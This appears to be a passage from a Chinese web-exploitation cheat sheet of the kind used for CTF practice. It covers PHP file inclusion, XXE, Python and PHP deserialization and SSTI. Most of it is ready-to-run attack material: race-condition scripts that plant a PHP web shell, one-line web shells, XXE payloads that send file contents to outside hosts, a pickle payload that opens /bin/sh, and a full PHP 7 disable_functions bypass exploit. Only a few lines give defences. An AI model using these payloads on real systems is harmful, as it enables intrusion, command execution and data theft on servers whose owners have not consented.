?file=data:text/plain;base64,PD9waHAgc3lzdGVtKCd3aG9hbWknKTs/Pg==

包含session

利用条件:session文件路径已知,且其中内容部分可控。

常见的php-session存放位置:

  • /var/lib/php/sess_PHPSESSID
  • /var/lib/php/sess_PHPSESSID
  • /tmp/sess_PHPSESSID
  • /tmp/sessions/sess_PHPSESSID

包含日志

服务器日志

利用条件: 需要知道服务器日志的存储路径,且日志文件可读

在用户发起请求时,会将请求写入access.log,当发生错误时将错误写入error.log。默认情况下,日志保存路径在 /var/log/apache2/

ssh日志

利用条件:需要知道ssh-log的位置,且可读。默认情况下为 /var/log/auth.log

$ ssh ‘‘@remotehost

然后进行文件包含即可

包含environ

利用条件:

  • php以cgi方式运行,这样environ才会保持UA头。
  • environ文件存储位置已知,且environ文件可读。

利用姿势:proc/self/environ中会保存user-agent头。如果在user-agent中插入php代码,则php代码会被写入到environ中。之后再包含它,即可。

包含临时文件

php中上传文件,会创建临时文件。在linux下使用/tmp目录,而在windows下使用c:\winsdows\temp目录。在临时文件被删除之前,利用竞争即可包含该临时文件。

绕过姿势

指定前缀

服务器端常常会对于../等做一些过滤,可以用一些编码来进行绕过。下面这些总结来自《白帽子讲Web安全》。

  • 利用url编码
    • ../
      • %2e%2e%2f
      • ..%2f
      • %2e%2e/
    • ..\
      • %2e%2e%5c
      • ..%5c
      • %2e%2e\
  • 二次编码
    • ../
      • %252e%252e%252f
    • ..\
      • %252e%252e%255c
  • 容器/服务器的编码方式

指定后缀

在远程文件包含漏洞(RFI)中,可以利用query或fragment来绕过后缀限制。

姿势一:query ?

?file=http://remoteaddr/remoteinfo.txt?

1
2
# remoteinfo.txt
<?php phpinfo();?>
姿势二:fragment

?file=http://remoteaddr/remoteinfo.txt%23

姿势三:长度截断

利用条件: php版本 < php 5.2.8

目录字符串,在linux下4096字节时会达到最大值,在window下是256字节。只要不断的重复./则后缀/test/test.php,在达到最大值后会被直接丢弃掉。

姿势四:0字节截断

利用条件: php版本 < php 5.3.4

?file=phpinfo.txt%00

strops 绕过

?file=php://filter/string.strip_tags/resource=/etc/passwd

php://filter/string.strip_tags/resource=/etc/passwd这个 payload 传入include方法会让 php 产生一个 segmentfault ,然后在这段时间内上传的文件将会存储在 php.ini 指定的 upload_tmp_dir 文件夹下,并且不会被删除

php<7.2 段错误 包含临时文件

1
include.php?file=php://filter/string.strip_tags/resource=/etc/passwd

利用脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#!/usr/bin/env python
# -*- coding: utf-8 -*-

import requests
import string
import itertools

charset = string.digits + string.letters

host = "192.168.43.155"
port = 80
base_url = "http://%s:%d" % (host, port)


def upload_file_to_include(url, file_content):
files = {'file': ('evil.jpg', file_content, 'image/jpeg')}
try:
response = requests.post(url, files=files)
except Exception as e:
print e


def generate_tmp_files():
webshell_content = '<?php eval($_REQUEST[c]);?>'.encode(
"base64").strip().encode("base64").strip().encode("base64").strip()
file_content = '<?php if(file_put_contents("/tmp/ssh_session_HD89q2", base64_decode("%s"))){echo "flag";}?>' % (
webshell_content)
phpinfo_url = "%s/include.php?f=php://filter/string.strip_tags/resource=/etc/passwd" % (
base_url)
length = 6
times = len(charset) ** (length / 2)
for i in xrange(times):
print "[+] %d / %d" % (i, times)
upload_file_to_include(phpinfo_url, file_content)


def main():
generate_tmp_files()


if __name__ == "__main__":
main()

爆破得到文件名

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#!/usr/bin/env python
# -*- coding: utf-8 -*-

import requests
import string

charset = string.digits + string.letters

host = "192.168.43.155"
port = 80
base_url = "http://%s:%d" % (host, port)


def brute_force_tmp_files():
for i in charset:
for j in charset:
for k in charset:
for l in charset:
for m in charset:
for n in charset:
filename = i + j + k + l + m + n
url = "%s/include.php?f=/tmp/php%s" % (
base_url, filename)
print url
try:
response = requests.get(url)
if 'flag' in response.content:
print "[+] Include success!"
return True
except Exception as e:
print e
return False


def main():
brute_force_tmp_files()


if __name__ == "__main__":
main()

phpinfo-LFI 本地文件包含临时文件getshell

原理:

我们构造一个上传表单的时候,php也会生成一个对应的临时文件,这个文件的相关内容可以在phpinfo()的_FILE["file"]查看到,但是临时文件很快就会被删除,所以我们赶在临时文件被删除之前,包含临时文件就可以getshell了。

利用脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
import sys
import threading
import socket

def setup(host, port):
TAG="Security Test"
PAYLOAD="""%s\r
<?php $c=fopen('/tmp/g','w');fwrite($c,'<?php passthru($_GET["f"]);?>');?>\r""" % TAG
REQ1_DATA="""-----------------------------7dbff1ded0714\r
Content-Disposition: form-data; name="dummyname"; filename="test.txt"\r
Content-Type: text/plain\r
\r
%s
-----------------------------7dbff1ded0714--\r""" % PAYLOAD
padding="A" * 5000
# 这里需要修改为phpinfo.php的地址
REQ1="""POST /phpinfo.php?a="""+padding+""" HTTP/1.1\r
Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie="""+padding+"""\r
HTTP_ACCEPT: """ + padding + """\r
HTTP_USER_AGENT: """+padding+"""\r
HTTP_ACCEPT_LANGUAGE: """+padding+"""\r
HTTP_PRAGMA: """+padding+"""\r
Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714\r
Content-Length: %s\r
Host: %s\r
\r
%s""" %(len(REQ1_DATA),host,REQ1_DATA)
#modify this to suit the LFI script
LFIREQ="""GET /lfi.php?file=%s HTTP/1.1\r
User-Agent: Mozilla/4.0\r
Proxy-Connection: Keep-Alive\r
Host: %s\r
\r
\r
"""
return (REQ1, TAG, LFIREQ)

def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect((host, port))
s2.connect((host, port))

s.send(phpinforeq)
d = ""
while len(d) < offset:
d += s.recv(offset)
try:
i = d.find("[tmp_name] =&gt; ")
fn = d[i+17:i+31]
# print fn
except ValueError:
return None
s2.send(lfireq % (fn, host))
# print lfireq % (fn, host) #debug调试结果
d = s2.recv(4096)
# print d #查看回显是否成功
s.close()
s2.close()

if d.find(tag) != -1:
return fn

counter=0
class ThreadWorker(threading.Thread):
def __init__(self, e, l, m, *args):
threading.Thread.__init__(self)
self.event = e
self.lock = l
self.maxattempts = m
self.args = args

def run(self):
global counter
while not self.event.is_set():
with self.lock:
if counter >= self.maxattempts:
return
counter+=1

try:
x = phpInfoLFI(*self.args)
if self.event.is_set():
break
if x:
print "\nGot it! Shell created in /tmp/g"
self.event.set()

except socket.error:
return


def getOffset(host, port, phpinforeq):
"""Gets offset of tmp_name in the php output"""
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
s.send(phpinforeq)

d = ""
while True:
i = s.recv(4096)
d+=i
if i == "":
break
# detect the final chunk
if i.endswith("0\r\n\r\n"):
break
s.close()
i = d.find("[tmp_name] =&gt; ")
if i == -1:
raise ValueError("No php tmp_name in phpinfo output")

print "found %s at %i" % (d[i:i+10],i)
# padded up a bit
return i+256

def main():

print "LFI With PHPInfo()"
print "-=" * 30

if len(sys.argv) < 2:
print "Usage: %s host [port] [threads]" % sys.argv[0]
sys.exit(1)

try:
host = socket.gethostbyname(sys.argv[1])
except socket.error, e:
print "Error with hostname %s: %s" % (sys.argv[1], e)
sys.exit(1)

port=80
try:
port = int(sys.argv[2])
except IndexError:
pass
except ValueError, e:
print "Error with port %d: %s" % (sys.argv[2], e)
sys.exit(1)

poolsz=10
try:
poolsz = int(sys.argv[3])
except IndexError:
pass
except ValueError, e:
print "Error with poolsz %d: %s" % (sys.argv[3], e)
sys.exit(1)

print "Getting initial offset...",
reqphp, tag, reqlfi = setup(host, port)
offset = getOffset(host, port, reqphp)
sys.stdout.flush()

maxattempts = 1000
e = threading.Event()
l = threading.Lock()

print "Spawning worker pool (%d)..." % poolsz
sys.stdout.flush()

tp = []
for i in range(0,poolsz):
tp.append(ThreadWorker(e,l,maxattempts, host, port, reqphp, offset, reqlfi, tag))

for t in tp:
t.start()
try:
while not e.wait(1):
if e.is_set():
break
with l:
sys.stdout.write( "\r% 4d / % 4d" % (counter, maxattempts))
sys.stdout.flush()
if counter >= maxattempts:
break
print
if e.is_set():
print "Woot! \m/"
else:
print ":("
except KeyboardInterrupt:
print "\nTelling threads to shutdown..."
e.set()

print "Shuttin' down..."
for t in tp:
t.join()

if __name__=="__main__":
main()

防御方案

  1. 在很多场景中都需要去包含web目录之外的文件,如果php配置了open_basedir,则会包含失败
  2. 做好文件的权限管理
  3. 对危险字符进行过滤等等

XXE

有回显,直接读文件

1
2
3
4
5
6
7
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<root>
<name>&xxe;</name>
</root>

无回显,引用服务器上的XML文件

1
2
3
4
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://xxe.com/1.xml">
%remote;]>

1.xml

1
`<!ENTITY % a SYSTEM "file:///etc/passwd"> <!ENTITY % b "<!ENTITY &#37; c SYSTEM 'gopher://xxe.com/%a;'>"> %b; %c`

然后访问log

无回显,利用报错直接使用本地DTD

fonts.dtd:

1
2
3
4
5
6
7
8
9
10
11
12
13
<!DOCTYPE message [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/xml/fontconfig/fonts.dtd">

<!ENTITY % expr 'aaa)>
<!ENTITY &#x25; file SYSTEM "file:///FILE_TO_READ">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///abcxyz/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
<!ELEMENT aa (bb'>

%local_dtd;
]>
<message></message>

mbeans-descriptors.dtd:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<!DOCTYPE message [
<!ENTITY % local_dtd SYSTEM "file:///usr/local/tomcat/lib/tomcat-coyote.jar!/org/apache/tomcat/util/modeler/mbeans-descriptors.dtd">

<!ENTITY % Boolean '(aa) #IMPLIED>
<!ENTITY &#x25; file SYSTEM "file:///FILE_TO_READ">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///abcxyz/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
<!ATTLIST attxx aa "bb"'>

%local_dtd;
]>

<message></message>

docbookx.dtd

1
2
3
4
5
6
7
8
9
10
11
<?xml version="1.0"?>
<!DOCTYPE message [
<!ELEMENT message ANY>
<!ENTITY % para1 SYSTEM "file:///flag">
<!ENTITY % para '
<!ENTITY &#x25; para2 "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///&#x25;para1;&#x27;>">
&#x25;para2;
'>
%para;
]>
<message>10</message

RSS XXE

bytectf 2019

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>The Blog</title>
<link>http://example.com/</link>
<description>A blog about things</description>
<lastBuildDate>Mon, 03 Feb 2014 00:00:00 -0000</lastBuildDate>
<item>
<title>&xxe;</title>
<link>http://example.com</link>
<description>a post</description>
<author>[email protected]</author>
<pubDate>Mon, 03 Feb 2014 00:00:00 -0000</pubDate>
</item>
</channel>
</rss>

bypass

utf-16编码绕过

1
iconv -f utf-8 -t utf-16be < exp.xml > xxe-utf-16.xml

python 反序列化

python序列化和反序列化是什么

Python 的序列化和反序列化是将一个类对象向字节流转化从而进行存储和传输,然后使用的时候再将字节流转化回原始的对象的一个过程。

1.序列化过程:

(1)从对象提取所有属性,并将属性转化为名值对
(2)写入对象的类名
(3)写入名值对

2.反序列化过程:

(1)获取 pickle 输入流
(2)重建属性列表
(3)根据类名创建一个新的对象
(4)将属性复制到新的对象中

为什么要实现序列化和反序列化?

和其他语言的序列化一样,Python 的序列化的目的也是为了保存、传递和恢复对象的方便性,在众多传递对象的方式中,序列化和反序列化可以说是最简单和最容易实现的方式

1.几个重要的函数

Python 为我们提供了两个比较重要的库 pickle 和 cPickle以及几个比较重要的函数来实现序列化和反序列化

序列化:

  • pickle.dump(文件)
  • pickle.dumps(字符串)

反序列化:

  • pickle.load(文件)

  • pickle.loads(字符串)

    但是底层是怎么实现的呢?这里就不得不提及 PVM(python 虚拟机) 了,它是实现 Python 序列化和反序列化的最根本的东西

    PVM 由三个部分组成,引擎(或者叫指令分析器),栈区、还有一个 Memo (这个我也不知道怎么解释,我们姑且叫它 “标签区“)

1.引擎的作用

从头开始读取流中的操作码和参数,并对其进行处理,在这个过程中改变 栈区 和 标签区,处理结束后到达栈顶,形成并返回反序列化的对象

2.栈区的作用

作为流数据处理过程中的暂存区,在不断的进出栈过程中完成对数据流的反序列化,并最终在栈上生成发序列化的结果

3.标签区的作用

数据的一个索引或者标记

我们现在来结合我们上面讲述的 PVM 的操作码看这个文件中的字符串是怎么一步一步执行的

(1)c 后面是模块名,换行后是类名,于是将 os.system 放入栈中
(2)( 这个是标记符,我们将一个 Mark 放入栈中
(3)S 后面是字符串,我们放入栈中
(4)t 将栈中 Mark 之前的内容取出来转化成元祖,再存入栈中 (’/bin/sh’,),同时标记 Mark 消失
(5)R 将元祖取出,并将 callable 取出,然后将元祖作为 callable 的参数,并执行,对应这里就是 os.system(‘/bin/sh’),然后将结果再存入栈中

相比于 PHP 反序列化必须要依赖于当前代码中类的存在以及方法的存在,Python 凭借着自己彻底的面向对象的特性完胜 PHP ,Python 除了能反序列化当前代码中出现的类(包括通过 import的方式引入的模块中的类)的对象以外,还能利用其彻底的面向对象的特性来反序列化使用 types 创建的匿名对象(这部分内容在后面会有所介绍),这样的话就大大拓宽了我们的攻击面。

反序列化漏洞往往出现在什么地方

通常在解析认证token,session的时候

现在很多web都使用redis、mongodb、memcached等来存储session等状态信息。P神的文章就有一个很好的redis+python反序列化漏洞的很好例子:https://www.leavesongs.com/PENETRATION/zhangyue-python-web-code-execute.html。

可能将对象Pickle后存储成磁盘文件

可能将对象Pickle后在网络中传输

其实,最常见的也是最经典的也就是我们的第一点,也就是 flask 配合 redis 在服务端存储 session 的情景,这里的 session 是被 pickle 序列化进行存储的,如果你通过 cookie 进行请求 sessionid 的话,session 中的内容就会被反序列化,看似好像是没有什么问题,因为 session 是存储在 服务端的,但是终究是抵不住 redis 的未授权访问,如果出现未授权的话,我们就能通过 set 设置自己的 session ,然后通过设置 cookie 去请求 session 的过程中我们自定的内容就会被反序列化,然后我们就达到了执行任意命令或者任意代码的目的

利用反序列化漏洞

利用的关键点还是如何构造我们的反序列化的 payload,这时候就不得不提到 __reduce__ 这个魔法方法了

如果pickle的数据包含了自定义的扩展类(比如使用C语言实现的Python扩展类)时,就需要通过实现__reduce__方法来控制行为了

1
2
3
4
5
6
7
8
9
import pickle
import os
class A(object):
def __reduce__(self):
a = '/bin/sh'
return (os.system,(a,))
a = A()
test = pickle.dumps(a)
print test

防御方法

(1) 不要再不守信任的通道中传递 pcikle 序列化对象
(2) 在传递序列化对象前请进行签名或者加密,防止篡改和重播
(3) 如果序列化数据存储在磁盘上,请确保不受信任的第三方不能修改、覆盖或者重新创建自己的序列化数据
(4) 将 pickle 加载的数据列入白名单

实战

https://www.leavesongs.com/PENETRATION/zhangyue-python-web-code-execute.html

python反序列化打redis

参考链接: [https://www.k0rz3n.com/2018/11/12/%E4%B8%80%E7%AF%87%E6%96%87%E7%AB%A0%E5%B8%A6%E4%BD%A0%E7%90%86%E8%A7%A3%E6%BC%8F%E6%B4%9E%E4%B9%8BPython%20%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/](https://www.k0rz3n.com/2018/11/12/一篇文章带你理解漏洞之Python 反序列化漏洞/)

https://www.smi1e.top/%e4%bb%8ebalsn-ctf-pyshv%e5%ad%a6%e4%b9%a0python%e5%8f%8d%e5%ba%8f%e5%88%97%e5%8c%96/

php

可以命令执行的函数

1
system,shell_exec,passthru,exec,popen,proc_open,pcntl_exec,mail,putenv,apache_setenv,mb_send_mail,assert,dl,set_time_limit,ignore_user_abort,symlink,link,map_open,imap_mail,ini_set,ini_alter

shell

一句话

1
<?php eval($_POST[m]);?>

短标签

1
<?=`$_GET[1]`;

过滤<?

1
<script language="php">@eval($_POST[sb])</script>

字符串拼接

1
2
3
4
5
6
<?php
$str = "abcde";
$s = substr($str,-1,1);
$ev = $s .'val';
$ev($_POST['s']);
?>

绕过open_basedir

1
chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');echo(file_get_contents('flag'));

当phpinfo中没有限制ini_set的时候可以使用这种方法来绕过disable_function(SUCTF 2019)

通过scandir和file_get_contents来读文件

chdir(‘upload’);ini_set(‘open_basedir’,’..’);chdir(‘..’);chdir(‘..’);chdir(‘..’);chdir(‘..’);ini_set(‘open_basedir’,’/‘);var_dump(scandir(‘/‘));var_dump(file_get_contents(‘../../../../THis_Is_tHe_F14g’));

绕过preg_match

代码如下时,且存在.htaccess

1
if(preg_match("/[^a-z\.]/", $filename) == 1)

通过设置.htaccess

1
2
php_value pcre.backtrack_limit 0
php_value pcre.jit 0

导致preg_match返回False,继而绕过了正则判断

无参数命令执行

主要参考飘零师傅的文章:https://skysec.top/2019/03/29/PHP-Parametric-Function-RCE/

和bytectf 2019的boring code

echo(next(file(end(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(chr(ord(hebrevc(crypt(phpversion()))))))))))))))));

奇技淫巧

assert命令注入

php5

漏洞代码如下

1
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

payload

1
','a') or system("cat templates/flag.php");//

查找未被过滤的函数

1
2
3
4
5
6
7
8
<?php
$array=get_defined_functions();
foreach($array['internal'] as $arr){
if ( preg_match('/[\x00- 0-9\'"\`$&.,|[{_defgops\x7F]+/i', $arr) ) continue;
if ( strlen(count_chars(strtolower($arr), 0x3)) > 0xd ) continue;
print($arr."\n");
}
?>

7.1以下通杀绕过disable_function

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
<?php
# PHP 7.0-7.3 disable_functions bypass PoC (*nix only)
#
# Bug: https://bugs.php.net/bug.php?id=72530
#
# This exploit should work on all PHP 7.0-7.3 versions
# released as of 04/10/2019, specifically:
#
# PHP 7.0 - 7.0.33
# PHP 7.1 - 7.1.31
# PHP 7.2 - 7.2.23
# PHP 7.3 - 7.3.10
#
# Author: https://github.com/mm0r1
pwn("uname -a");
function pwn($cmd) {
global $abc, $helper;
function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}
function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}
function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = chr($v & 0xff);
$v >>= 8;
}
}
function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}
function parse_elf($base) {
$e_type = leak($base, 0x10, 2);
$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);
for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);
if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
# handle pie
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
$text_size = $p_memsz;
}
}
if(!$data_addr || !$text_size || !$data_size)
return false;
return [$data_addr, $text_size, $data_size];
}
function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $text_size) {
$deref = leak($leak);
# 'constant' constant check
if($deref != 0x746e6174736e6f63)
continue;
} else continue;
$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $text_size) {
$deref = leak($leak);
# 'bin2hex' constant check
if($deref != 0x786568326e6962)
continue;
} else continue;
return $data_addr + $i * 8;
}
}
function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) { # ELF header
return $addr;
}
}
}
function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);
if($f_name == 0x6d6574737973) { # system
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}
class ryat {
var $ryat;
var $chtg;

function __destruct()
{
$this->chtg = $this->ryat;
$this->ryat = 1;
}
}
class Helper {
public $a, $b, $c, $d;
}
if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}
$n_alloc = 10; # increase this value if you get segfaults
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_repeat('A', 79);
$poc = 'a:4:{i:0;i:1;i:1;a:1:{i:0;O:4:"ryat":2:{s:4:"ryat";R:3;s:4:"chtg";i:2;}}i:1;i:3;i:2;R:5;}';
$out = unserialize($poc);
gc_collect_cycles();
$v = [];
$v[0] = ptr2str(0, 79);
unset($v);
$abc = $out[2][0];
$helper = new Helper;
$helper->b = function ($x) { };
if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}
# leaks
$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;
# fake value
write($abc, 0x60, 2);
write($abc, 0x70, 6);
# fake reference
write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);
$closure_obj = str2ptr($abc, 0x20);
$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}
if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}
if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}
if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}
# fake closure object
$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}
# pwn
write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4); # internal func type
write($abc, 0xd0 + 0x68, $zif_system); # internal func handler
($helper->b)($cmd);
exit();
}

php反序列化

魔法函数

1
2
3
4
5
6
7
8
9
10
11
12
__construct()//创建对象时触发
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__invoke() //当脚本尝试将对象调用为函数时触发
__sleep() //对象被序列化前触发
__wakeup() //反序列化前触发
__toString() //将对象当做字符串输出会触发

phar反序列化

可以触发反序列化的函数

  • fileatime / filectime / filemtime
  • stat / fileinode / fileowner / filegroup / fileperms
  • file / file_get_contents / readfile / fopen
  • file_exists / is_dir / is_executable / is_file / is_link / is_readable / is_writeable / is_writable
  • parse_ini_file
  • unlink
  • copy
  • finfo_file/finfo_buffer/mime_content_type

触发条件phar或php伪协议

exp:

1
php://filter/read=convert.base64-encode/resource=phar://./test.phar

生成phar文件

1
2
3
4
5
6
7
8
9
10
11
<?php
class TestObject{
}
$phar = new Phar("phar.phar");
$phar -> startBuffering();
$phar -> setStub("<?php __HALT_COMPILER();?>");
$o = new TestObject();
$o -> data = 'h4ck3r';
$phar -> setMetadata($o);
$phar -> addFromString("test.txt","test");
$phar -> stopBuffering();

XXE 2 phar

XXE可以导致phar反序列化,例题:https://www.anquanke.com/post/id/170299#h3-6

1
2
3
4
5
6
7
8
9
10
11
12
<?php
$xml = '<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/tmp/123.txt">
<!ENTITY % remote SYSTEM "https://ham.exeye.io/evil.dtd">
%remote;
%all;
]>
<root>&send;</root>';
// print_r(simplexml_load_string($xml));
$exp = new SimpleXMLElement('https://ham.exeye.io/evil.xml',LIBXML_NOENT,True);
?>

evil.xml

1
2
3
4
5
6
7
8
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///var/www/html/flag.php">
<!ENTITY % remote SYSTEM "https://xxx/evil.dtd">
%remote;
%all;
]>
<root>&send;</root>

evil.dtd

1
<!ENTITY &#x25; all "<!ENTITY send SYSTEM 'http://xxx/?%file;'>">

原生类反序列化

原生类同名函数的攻击漏洞,可以覆盖.htaccess,例题:bytectf2019

exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<?php
class File{
public $filename;
public $filepath;
public $checker;

function __construct()
{
$this->checker = new Admin();
}
}

class Admin{
public $size;
public $checker;
public $content_check;

function __construct()
{
$this->checker = 1;
$this->size = 2048;
$this->content_check = new Profile();
}
}

class Profile{
public $username;
public $password;
public $admin;

function __construct()
{
$this->admin = new ZipArchive();
$this->username = "/var/www/html/sandbox/0e06916ca1eb6fccbcde68a41bef7284/.htaccess";
$this->password = ZipArchive::OVERWRITE;
}
}

$phar = new Phar('exp.phar');
$phar -> stopBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar -> addFromString('test.txt','test');
$object = new File();
$phar -> setMetadata($object);
$phar -> stopBuffering();

利用__toString()来实现xss

error类

1
2
3
4
<?php
$a = new Error("<script>alert(1)</script>");
$b = serialize($a);
echo urlencode($b);

exception类

1
2
3
4
<?php
$a = new Exception("<script>alert(1)</script>");
$b = serialize($a);
echo urlencode($b);

session反序列化

三种不同引擎会导致不同的处理结果,默认为php方式存储

php_binary:ascii字符+键名+serialize()函数处理后的值
php:键名+竖线+serialize()函数处理后的值
php_serialize:serialize()函数处理后的值

利用条件:开启了session.upload_progress.enabled

加竖杠符合存储要求,反斜杠进行转义

soap反序列化

可以导致SSRF

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
$target = 'http://123.206.216.198/bbb.php';
$post_string = 'a=b&flag=aaa';
$headers = array(
'X-Forwarded-For: 127.0.0.1',
'Cookie: xxxx=1234'
);
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri' => "aaab"));

$aaa = serialize($b);
$aaa = str_replace('^^','%0d%0a',$aaa);
$aaa = str_replace('&','%26',$aaa);
echo $aaa;
?>

Mysql 触发phar反序列化

1
2
3
4
5
6
7
8
9
10
11
<?php
class A {
public $s = '';
public function __wakeup () {
system($this->s);
}
}
$m = mysqli_init();
mysqli_options($m, MYSQLI_OPT_LOCAL_INFILE, true);
$s = mysqli_real_connect($m, 'localhost', 'root', '123456', 'easyweb', 3306);
$p = mysqli_query($m, 'LOAD DATA LOCAL INFILE \'phar://test.phar/test\' INTO TABLE a LINES TERMINATED BY \'\r\n\' IGNORE 1 LINES;');

待补充

SSTI

Jinja2中的沙箱逃逸

读文件

1
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}

写文件

1
